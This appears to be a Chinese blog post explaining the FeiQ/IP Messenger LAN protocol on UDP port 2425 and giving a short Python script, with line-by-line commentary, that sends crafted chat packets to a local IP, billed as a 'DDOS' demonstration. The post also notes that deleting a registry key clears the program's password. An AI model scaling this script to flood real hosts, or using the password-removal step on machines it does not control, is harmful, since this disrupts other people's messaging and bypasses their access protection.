基于python使用UDP协议对飞秋进行通讯—DDOS

基于飞秋的信息传输

声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

老规矩,封面在文末!

飞秋介绍

(1)最关键的是局域网用户列表的建立;飞秋启动时使用UDP协议向255.255.255.255这个广播地址发送广播包,默认端口是2425。广播包内容包含用户名、工作组、主机名、IP等信息;

已启动飞秋的用户通过2425端口收到此广播包后,就会在自己的用户列表中添加这个用户的用户名、工作组等信息,同时向对方IP发送本机用户的个人信息;从而双方都能建立起用户列表;

(2)刷新用户列表时发送的广播包和启动时差不多,只不过返回的标识信息略有不同;可以做一个小工具,监控2425端口内存流,就能截获刷新和聊天时的消息。

(3)传送聊天信息时同样使用UDP协议;由于UDP协议是无连接协议,传输速度快,但是没有确认机制,是不可靠的协议,需要自己定义返回信息的标志来判断对方是否收到信息;

(4)用户离线时发送一个离线广播包到255.255.255.255,收到此广播包的用户,根据包中的IP地址(也可能是多种判断标志或者包含硬件标识,比如网卡地址等)删除对方的用户列表信息;

(5)广域网无法直接使用广播方式,靠手工添加"局域网外广播列表"来建立相互的关系;

(6)飞秋传送文件是使用TCP协议,端口2425;

(7)飞秋使用C++语言,开发工具:Visual C++ 4.1, 6.0, or later;

(8)飞秋公开源码,在作者(来自日本广岛的白水启章)和汉化者(阿志)网站下载源码,源码注释为日文;可以使用VC++修改、编译;

(9)飞秋传书是来自日本的软件,日文版是它的第一版本;此外还有中文,英文,韩文,葡萄牙文等语言;

(10)飞秋使用的加密算法:RSA、Blowfish、RC;

(11)飞秋可以使用命令行方式发送信息,命令格式如下:

ipmsg 端口 /MSG /LOG/SEAL <主机名或IP地址> <消息>

可以使用IPMsg 端口 命令改变默认端口,并同时启动多个实例,但是修改后只有使用相同端口的用户才能收到相互的信息;

(12)飞秋非安装版,并不是纯绿色软件,直接删除会在注册表留下垃圾键值;

  • 飞秋把所有设置信息都保存在注册表的以下位置:

用户密码以不可逆加密方式存储.

  • 如果你忘记了密码, 可以在注册表中将此键值删除,清除密码*\HKEY_CURRENT_USER\Software\HSTools\IPMsgEng\PasswordStr

(13)飞秋一次传送文件数达到几千个时,有丢失文件的可能,怀疑是飞秋的一个bug,而传输大文件则没有问题;

(14)飞秋最稳定的正式版本是V2.06;目前v2.50 alpha6 版正在测试,尚未正式发布;其他如2.71,2007绿色版为修改版本,并非正版;

(15)飞秋支持的字符太少,需要补充一下。

源码

复制代码
import socket
import time

# ddos 损人不利己
for i in range(10):
    s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信
    s.connect(('192.168.141.1', 2425))

    packetId = str(time.time())
    name = "LEYINSEC"
    host = "MyHostName"
    command = str(0x00000020)
    content = "This is the message from python."
    message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content

    s.send(message.encode())

源码解析

这段代码是一个简单的Python脚本,用于发送UDP数据包到指定的IP地址和端口。以下是对代码的详细分析:

导入模块

复制代码
import socket
import time
  • socket模块:用于网络通信,创建和管理套接字。

  • time模块:用于获取当前时间戳。

循环发送数据包

复制代码
for i in range(10):
  • 这个循环会执行10次,每次循环都会发送一个UDP数据包。

创建UDP套接字

复制代码
s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信
  • socket.socket()函数用于创建一个新的套接字对象。

  • type=socket.SOCK_DGRAM参数指定使用UDP协议。

连接到目标地址

复制代码
s.connect(('192.168.141.1', 2425))
  • connect()方法用于连接到指定的IP地址和端口。

  • 这里的目标是IP地址192.168.141.1和端口2425

构建消息内容

复制代码
packetId = str(time.time())
name = "LEYINSEC"
host = "MyHostName"
command = str(0x00000020)
content = "This is the message from python."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
  • packetId:使用当前时间戳作为唯一标识符。

  • namehostcommandcontent:这些变量用于构建消息内容。

  • message:将所有部分用冒号分隔并拼接成一个字符串。

发送消息

复制代码
s.send(message.encode())
  • send()方法用于发送数据。

  • message.encode()将字符串消息编码为字节流,因为send()方法需要字节类型的数据。

注意事项

  1. DDoS攻击:这段代码虽然简单,但如果在一个循环中不断发送大量数据包到同一个目标地址,可能会被视为DDoS(分布式拒绝服务)攻击。这种行为是不道德的,也可能违法。

  2. 资源消耗:频繁创建和关闭套接字会消耗系统资源,可能导致性能问题。

  3. 错误处理:代码中没有错误处理机制,如果连接失败或发送失败,程序会抛出异常并终止。

效果演示

可以看到,一直在给飞秋发信息,如果数据量较大的话,就可以达到DDOS的效果。网安人最重要的是什么,要学会举一反三。

相关推荐
从小就看凹凸曼^o^14 分钟前
Python基础5 - 字典与集合:(1)字典
开发语言·python
GeekZHR21 分钟前
C语言指针进阶补充6:动态内存管理、mem系列内存函数、复杂指针声明,一次补齐指针的“三大盲区“
java·c语言·算法·指针
侧耳倾听11128 分钟前
java 日志框架简介
java·开发语言
小赵AI手记29 分钟前
技术拆解(十七)具身智能:机器人动作生成为何走向Diffusion Policy?
人工智能·笔记·python·机器人
本地化文档39 分钟前
poethepoet-docs-l10n
python·github·gitcode·sphinx
baopixiaoz1 小时前
AI量化策略师|Web3 量化交易研究员
大数据·人工智能·python·区块链
zlinear数据采集卡1 小时前
数据采集卡从入门到精通(9):分辨率与精度——16位卡不等于1/65536的精度
开发语言·数据库·fpga开发·开源·c#
她的男孩1 小时前
我用 LLM 把后台 CRUD 效率提升 10 倍:AI 代码生成器的架构与落地实践
java·后端·架构
全栈技术负责人1 小时前
解密 MCP(Model Context Protocol):大模型时代的“Type-C”总线与三驾马车架构深度解析
开发语言·ai·架构
丰锋ff1 小时前
1.7在Qt窗口中添加右键菜单
开发语言·qt